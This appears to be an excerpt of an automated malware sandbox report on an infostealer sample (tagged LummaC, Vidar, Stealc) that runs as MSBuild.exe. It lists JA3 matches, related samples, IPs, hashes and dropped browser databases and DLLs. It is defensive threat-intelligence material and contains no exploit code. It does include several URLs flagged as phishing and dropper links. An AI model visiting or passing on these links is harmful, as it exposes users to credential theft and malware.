	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	104.21.90.101

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.74.165 188.114.96.3
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.74.165 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	104.21.74.165 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.74.165 188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BKFBAKFCBFHIJJJJDBFCAFIEBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBFBGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGIJECGDGCBKECAKFBGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DHIJEHJDHJKECBFHDHDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIIECB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEBAECAKKFCBFIEGCBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHIDHJDBFIIECAKECBKJJKKE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHIIIJDAAAAAAKECBFBAEBKJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKEBGCGHIDHCBFHIDGHCBKEHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_45Ywq5ad5H.exe_8eca8130e91a8ee9f72171e4fd9f47ee21ca84b9_22f34bbd_2b804235-464d-4351-859e-52f91f60e163\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6558217380355701
Encrypted:	false
SSDEEP:	96:nDFCXuyy02ssWyQMAFf5QXIDcQvc6QcEVcw3cE/94I+HbHg/5hZAX/d5FMT2SlPJ:DEXdyvsw0BU/IjhzuiFRZ24IO8Mi
MD5:	B2E222BE3C14EA3E4C527A6A16721A03
SHA1:	761FBD49FFEB8766F68CAFEF5C7ED3FF585D10FB
SHA-256:	93A2BB544CB76056AF00EB506DEE324848083D3E576F3350C9AAE8EA9280B879
SHA-512:	212364FE66EE82ACB923F836D85F7BB906A96B4EB2DAA3E19E3EACC7D617BF97EADA96ACB91CEAC63921869B42935BDD0BF3B7FE074403568CB7971CAF73E5E5
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.2.9.8.7.7.0.7.8.8.2.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.2.9.8.8.1.1.4.1.3.5.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.b.8.0.4.2.3.5.-.4.6.4.d.-.4.3.5.1.-.8.5.9.e.-.5.2.f.9.1.f.6.0.e.1.6.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.6.f.5.7.4.5.7.-.3.0.9.b.-.4.1.6.b.-.9.7.6.e.-.5.9.6.e.f.3.f.3.1.b.c.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.4.5.Y.w.q.5.a.d.5.H...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.4.0.-.0.0.0.1.-.0.0.1.4.-.9.b.d.d.-.8.c.f.c.d.7.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.9.b.1.9.e.d.a.3.2.e.3.d.9.4.b.a.9.e.3.d.1.1.6.c.2.2.b.d.1.3.0.9.a.c.1.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_389075c441d8512dd9105bf88b134bcff04487_85207d7d_8b5323c9-f294-43af-8b6b-6924b0c7fca4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5886246685454576
Encrypted:	false
SSDEEP:	96:N4YFCiqQMElmsQhMov7RmSuQXIDcQ4c6fcE+cw3tZAX/d5FMT2SlPkpXmTAuf/VL:fUicOmr0WbkQzuiFUZ24IO8e
MD5:	7109CD53A3691B8D26B4152493FD8EA7
SHA1:	482962B0BBBC3EE65559F42301E9B9BC861E55E9
SHA-256:	BA28442CE7DF75C8E87F7A8D5F4DC7EC96539F30634DF65F3907D17A2A586B58
SHA-512:	F2802710B7A10899DCEAAC5026E8602DDAB59E4E13414C5ECE37EC69D65644619A0CDDAC54CC18430CDEF33FA21172157F1411DC38A0DEC444C8D145451679B6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.9.1.3.1.3.6.0.3.4.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.9.1.3.5.5.9.4.7.5.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.5.3.2.3.c.9.-.f.2.9.4.-.4.3.a.f.-.8.b.6.b.-.6.9.2.4.b.0.c.7.f.c.a.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.0.3.c.9.0.d.1.-.d.a.c.d.-.4.f.2.e.-.8.b.0.6.-.d.c.0.b.4.5.1.2.2.4.8.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.a.d._.m.o.d.u.l.e._.i.n.f.o.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.f.c.-.0.0.0.1.-.0.0.1.4.-.8.d.d.3.-.8.9.0.6.d.8.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.d.!.M.S.B.u.i.l.d...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_f5b4a6202a53ee73c263cc4c99e711b13cd935ac_85207d7d_d90f5740-82d0-408b-9330-f8c63df3c7a7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.5825382020935633
Encrypted:	false
SSDEEP:	96:GBFFrQiqQMElksQhMov7JfqQXIDcQ4c6fcE+cw3tZAX/d5FMT2SlPkpXmTAZf/VF:mUicOkD0WbkQzuiFRZ24IO8bk
MD5:	48B54C4050F27E206565DA44A54A06D5
SHA1:	46966F8FC57D324DDAC7F38FE0C96F717EE4656C
SHA-256:	DC8759920C7577F8A9303BD6798050F5D96FD8C5404143BE544F0481C054F675
SHA-512:	91BAF452549D4D96E034B287F8CB1A9315F3573BE8D8FCD561297FEC9EF5C0DF006B155D91C78CE4D0B19DF90A18BFC884ECF1D1B309162AE44FFD25DDEDD2B0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.3.0.0.7.6.3.5.5.4.8.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.3.0.1.1.8.8.5.5.4.6.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.9.0.f.5.7.4.0.-.8.2.d.0.-.4.0.8.b.-.9.3.3.0.-.f.8.c.6.3.d.f.3.c.7.a.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.a.5.0.e.e.a.9.-.f.8.7.1.-.4.9.c.9.-.b.f.8.d.-.8.8.d.b.a.3.d.f.f.6.4.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.a.d._.m.o.d.u.l.e._.i.n.f.o.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.f.c.-.0.0.0.1.-.0.0.1.4.-.8.d.d.3.-.8.9.0.6.d.8.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.d.!.M.S.B.u.i.l.d...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_userJKECGDB_ec2bdbc4a748ddb3a9d0e4b881f74ac7c0614331_cd332b32_c166ec7e-8924-4ff9-a801-a2230153390f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.659451604132189
Encrypted:	false
SSDEEP:	96:NqFxAHf4C0B/h+sdeykdEAxfuQXIDcQvc6QcEVcw3cE/9I4+HbHg/5hZAX/d5FMp:8y4CG+X0BU/QjhzuiFRZ24IO8EJ5W
MD5:	6FAEB38D8ECB63486F001C58BF4891A8
SHA1:	E5F6C84C22A6FB140A1861D2A351117160194CCA
SHA-256:	6516CA448DAC8364680092DA03BACEFA5B28452E42C9BD4AD5CD1D49FC00972A
SHA-512:	0CC4298A8A88D99A04A7BA24B34FE7E1DB6ABA4B9FFF92CBF27A99E3671FAB9D638B1EF20B8B633C75233E729A5E3FC49AF6FC19F2BBB99D072ED9A81FAF9292
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.3.0.0.4.2.8.4.7.7.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.3.0.0.4.7.5.3.5.1.5.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.1.6.6.e.c.7.e.-.8.9.2.4.-.4.f.f.9.-.a.8.0.1.-.a.2.2.3.0.1.5.3.3.9.0.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.1.9.9.2.c.a.c.-.b.d.d.b.-.4.6.b.9.-.8.1.6.8.-.1.9.f.2.0.f.3.c.c.4.c.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.r.o.n.t.d.e.s.k.J.K.E.C.G.D.B.F.C.B...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.e.c.-.0.0.0.1.-.0.0.1.4.-.5.9.3.1.-.6.f.0.6.d.8.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.1.5.7.b.6.1.a.2.4.0.8.7.5.2.1.6.9.3.c.8.a.c.a.7.4.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C8D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:43:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	35320
Entropy (8bit):	1.6565752937083276
Encrypted:	false
SSDEEP:	96:5E8vcFHyn/SJmV1dtQRi7737yucgph8Jzpy5BWI0WIkMI4z5TEoudDIRvT:5bnb6RObcihYzp7z5TEoIDIRb
MD5:	B52DCA36C2D73459B1B81D8E397C6BC0
SHA1:	094BC1560A8FF9684EB52842048E693D07CB0627
SHA-256:	920DA834E24362906EDFF7CDAFF077191F5779A15049CA931121BD884E52BABF
SHA-512:	4506284EB8C843287DEA81FBC1A2D08FE69ADD65B71B4EA36B5F9B52E41240CC16EE3E6821AC2F6822EBB4F5C601F29B678CB6F5ACEF03A7F407446A003B1204
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............H.......................................................................................................eJ..............GenuineIntel............T.......@......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

